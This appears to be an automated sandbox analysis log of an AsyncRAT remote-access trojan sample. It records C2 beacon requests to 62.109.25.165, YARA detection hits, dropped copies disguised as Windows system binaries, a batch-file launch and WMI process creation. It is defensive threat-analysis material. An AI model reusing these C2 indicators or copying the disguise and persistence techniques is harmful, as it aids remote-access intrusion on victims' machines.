        Source: global trafficHTTP traffic detected: GET /logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?Ew1JcOnZIpIdmkpBBHgr5pFtzlk1xCn=2ryfxXmZBxF8CaD&tgi=YcDZrIT0nvmFB&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&Ew1JcOnZIpIdmkpBBHgr5pFtzlk1xCn=2ryfxXmZBxF8CaD&tgi=YcDZrIT0nvmFB HTTP/1.1Accept: */*Content-Type: text/cssUser-Agent: Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)Host: 62.109.25.165Connection: Keep-Alive
        Source: global trafficHTTP traffic detected: GET /logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?FM1JfUY48EJH=Xj7Evt4wwIgYodolPSzaU&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&FM1JfUY48EJH=Xj7Evt4wwIgYodolPSzaU HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36Host: 62.109.25.165
        Source: global trafficHTTP traffic detected: GET /logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?Ew1JcOnZIpIdmkpBBHgr5pFtzlk1xCn=2ryfxXmZBxF8CaD&tgi=YcDZrIT0nvmFB&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&Ew1JcOnZIpIdmkpBBHgr5pFtzlk1xCn=2ryfxXmZBxF8CaD&tgi=YcDZrIT0nvmFB HTTP/1.1Accept: */*Content-Type: text/cssUser-Agent: Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)Host: 62.109.25.165
        Source: global trafficHTTP traffic detected: GET /logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?RLBBKVwcdizJiEfb8gsnzY=nfdgefKZBm8ilTxaczcJwMXdTkAw&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&RLBBKVwcdizJiEfb8gsnzY=nfdgefKZBm8ilTxaczcJwMXdTkAw HTTP/1.1Accept: */*Content-Type: application/jsonUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1Host: 62.109.25.165Connection: Keep-Alive
        Source: global trafficHTTP traffic detected: GET /logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?RLBBKVwcdizJiEfb8gsnzY=nfdgefKZBm8ilTxaczcJwMXdTkAw&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&RLBBKVwcdizJiEfb8gsnzY=nfdgefKZBm8ilTxaczcJwMXdTkAw HTTP/1.1Accept: */*Content-Type: application/jsonUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1Host: 62.109.25.165
        Source: global trafficHTTP traffic detected: GET /logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?AVMJaed=GdzBF2U&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&AVMJaed=GdzBF2U HTTP/1.1Accept: */*Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1Host: 62.109.25.165Connection: Keep-Alive
        Source: global trafficHTTP traffic detected: GET /logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?AVMJaed=GdzBF2U&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&AVMJaed=GdzBF2U HTTP/1.1Accept: */*Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1Host: 62.109.25.165
        Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.22.1Date: Wed, 25 Dec 2024 04:32:03 GMTContent-Type: text/htmlContent-Length: 555Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.22.1</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
        Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.22.1Date: Wed, 25 Dec 2024 04:32:03 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.22.1</center></body></html>
        Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.22.1Date: Wed, 25 Dec 2024 04:32:03 GMTContent-Type: text/htmlContent-Length: 555Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.22.1</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
        Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.22.1Date: Wed, 25 Dec 2024 04:32:03 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.22.1</center></body></html>
        Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.22.1Date: Wed, 25 Dec 2024 04:32:13 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.22.1</center></body></html>
        Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.22.1Date: Wed, 25 Dec 2024 04:32:14 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.22.1</center></body></html>
        Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.22.1Date: Wed, 25 Dec 2024 04:32:37 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.22.1</center></body></html>
        Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.22.1Date: Wed, 25 Dec 2024 04:32:38 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.22.1</center></body></html>
        Source: crQsxZqWXkIyquEQmzM.exe, 0000000A.00000002.1732503350.0000000002816000.00000004.00000800.00020000.00000000.sdmp, crQsxZqWXkIyquEQmzM.exe, 0000000A.00000002.1732503350.0000000002809000.00000004.00000800.00020000.00000000.sdmp, crQsxZqWXkIyquEQmzM.exe, 0000000A.00000002.1732503350.00000000027EC000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 0000000C.00000002.1734290975.00000000028CC000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 0000000C.00000002.1734290975.00000000028AB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 0000000C.00000002.1734290975.00000000028D8000.00000004.00000800.00020000.00000000.sdmp, crQsxZqWXkIyquEQmzM.exe, 0000000F.00000002.1839419550.0000000002BE8000.00000004.00000800.00020000.00000000.sdmp, crQsxZqWXkIyquEQmzM.exe, 0000000F.00000002.1839419550.0000000002BC0000.00000004.00000800.00020000.00000000.sdmp, crQsxZqWXkIyquEQmzM.exe, 0000000F.00000002.1839419550.0000000002BF4000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000013.00000002.2081171609.0000000002B32000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000013.00000002.2081171609.0000000002B0D000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000013.00000002.2081171609.0000000002B3E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://62.109.25.165
        Source: dllhost.exe, 00000013.00000002.2081171609.0000000002B0D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/
        Source: dllhost.exe, 00000013.00000002.2081171609.0000000002B0D000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000013.00000002.2081171609.0000000002B3E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?AVMJ
        Source: RuntimeBroker.exe, 0000000C.00000002.1734290975.00000000028AB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 0000000C.00000002.1734290975.00000000028D8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?Ew1J
        Source: crQsxZqWXkIyquEQmzM.exe, 0000000A.00000002.1732503350.0000000002816000.00000004.00000800.00020000.00000000.sdmp, crQsxZqWXkIyquEQmzM.exe, 0000000A.00000002.1732503350.00000000027EC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?FM1J
        Source: crQsxZqWXkIyquEQmzM.exe, 0000000F.00000002.1839419550.0000000002BC0000.00000004.00000800.00020000.00000000.sdmp, crQsxZqWXkIyquEQmzM.exe, 0000000F.00000002.1839419550.0000000002BF4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?RLBB
        Source: TodjHkXUZB.exe, 00000000.00000002.1689200346.0000000002452000.00000004.00000800.00020000.00000000.sdmp, crQsxZqWXkIyquEQmzM.exe, 0000000A.00000002.1732503350.00000000027EC000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 0000000C.00000002.1734290975.00000000028AB000.00000004.00000800.00020000.00000000.sdmp, crQsxZqWXkIyquEQmzM.exe, 0000000F.00000002.1839419550.0000000002BC0000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000013.00000002.2081171609.0000000002B0D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
        Source: TextInputHost.exe, 0000000D.00000002.1760200675.0000000002AA1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://steamcommunity.com/profiles/

        System Summary

        barindex
        Malicious sample detected (through community Yara rule)
        Source: 0000000B.00000002.1760201778.0000000002361000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects AsyncRAT Author: ditekSHen
        Source: 00000000.00000002.1689200346.0000000002391000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects AsyncRAT Author: ditekSHen
        Source: 0000000D.00000002.1760200675.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects AsyncRAT Author: ditekSHen
        Source: 0000000A.00000002.1732503350.0000000002661000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects AsyncRAT Author: ditekSHen
        Source: 0000000C.00000002.1734290975.0000000002721000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects AsyncRAT Author: ditekSHen
        Source: Process Memory Space: TodjHkXUZB.exe PID: 7512, type: MEMORYSTRMatched rule: Detects AsyncRAT Author: ditekSHen
        Source: Process Memory Space: crQsxZqWXkIyquEQmzM.exe PID: 7812, type: MEMORYSTRMatched rule: Detects AsyncRAT Author: ditekSHen
        Source: Process Memory Space: dllhost.exe PID: 7828, type: MEMORYSTRMatched rule: Detects AsyncRAT Author: ditekSHen
        Source: Process Memory Space: RuntimeBroker.exe PID: 7848, type: MEMORYSTRMatched rule: Detects AsyncRAT Author: ditekSHen
        Source: Process Memory Space: TextInputHost.exe PID: 7868, type: MEMORYSTRMatched rule: Detects AsyncRAT Author: ditekSHen
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeFile created: C:\Windows\System32\nettraceexJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeFile created: C:\Windows\System32\nettraceex\dllhost.exeJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeFile created: C:\Windows\System32\nettraceex\dllhost.exe\:Zone.Identifier:$DATAJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeFile created: C:\Windows\System32\nettraceex\5940a34987c99120d96dace90a3f93f329dcad63Jump to behavior
        Source: TodjHkXUZB.exe, 00000000.00000002.1696340579.000000001AF60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamete vs TodjHkXUZB.exe
        Source: TodjHkXUZB.exe, 00000000.00000000.1673264540.00000000001B2000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenametelescop.exe$ vs TodjHkXUZB.exe
        Source: TodjHkXUZB.exe, 00000000.00000002.1696706155.000000001B027000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameCmd.Exe.MUIj% vs TodjHkXUZB.exe
        Source: TodjHkXUZB.exeBinary or memory string: OriginalFilenametelescop.exe$ vs TodjHkXUZB.exe
        Source: TodjHkXUZB.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
        Source: 0000000B.00000002.1760201778.0000000002361000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
        Source: 00000000.00000002.1689200346.0000000002391000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
        Source: 0000000D.00000002.1760200675.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
        Source: 0000000A.00000002.1732503350.0000000002661000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
        Source: 0000000C.00000002.1734290975.0000000002721000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
        Source: Process Memory Space: TodjHkXUZB.exe PID: 7512, type: MEMORYSTRMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
        Source: Process Memory Space: crQsxZqWXkIyquEQmzM.exe PID: 7812, type: MEMORYSTRMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
        Source: Process Memory Space: dllhost.exe PID: 7828, type: MEMORYSTRMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
        Source: Process Memory Space: RuntimeBroker.exe PID: 7848, type: MEMORYSTRMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
        Source: Process Memory Space: TextInputHost.exe PID: 7868, type: MEMORYSTRMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
        Source: TodjHkXUZB.exe, Y8gJ4PiPv0ETgVcQrP6.csCryptographic APIs: 'CreateDecryptor'
        Source: TodjHkXUZB.exe, Y8gJ4PiPv0ETgVcQrP6.csCryptographic APIs: 'CreateDecryptor'
        Source: TodjHkXUZB.exe, TtflY7udNmuKeu5jbds.csCryptographic APIs: 'TransformBlock'
        Source: TodjHkXUZB.exe, TtflY7udNmuKeu5jbds.csCryptographic APIs: 'TransformFinalBlock'
        Source: classification engineClassification label: mal100.troj.evad.winEXE@20/26@0/1
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeFile created: C:\Program Files (x86)\jdownloader\config\crQsxZqWXkIyquEQmzM.exeJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeFile created: C:\Users\Public\Pictures\crQsxZqWXkIyquEQmzM.exe\:Zone.Identifier:$DATAJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeMutant created: NULL
        Source: C:\Windows\System32\nettraceex\dllhost.exeMutant created: \Sessions\1\BaseNamedObjects\6f30d4e62b9777921d5dca80fd04999e0bd35e35
        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7728:120:WilError_03
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeFile created: C:\Users\user\AppData\Local\Temp\QnnerAriNiJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\axOZ6YsJUi.bat"
        Source: TodjHkXUZB.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
        Source: TodjHkXUZB.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.79%
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
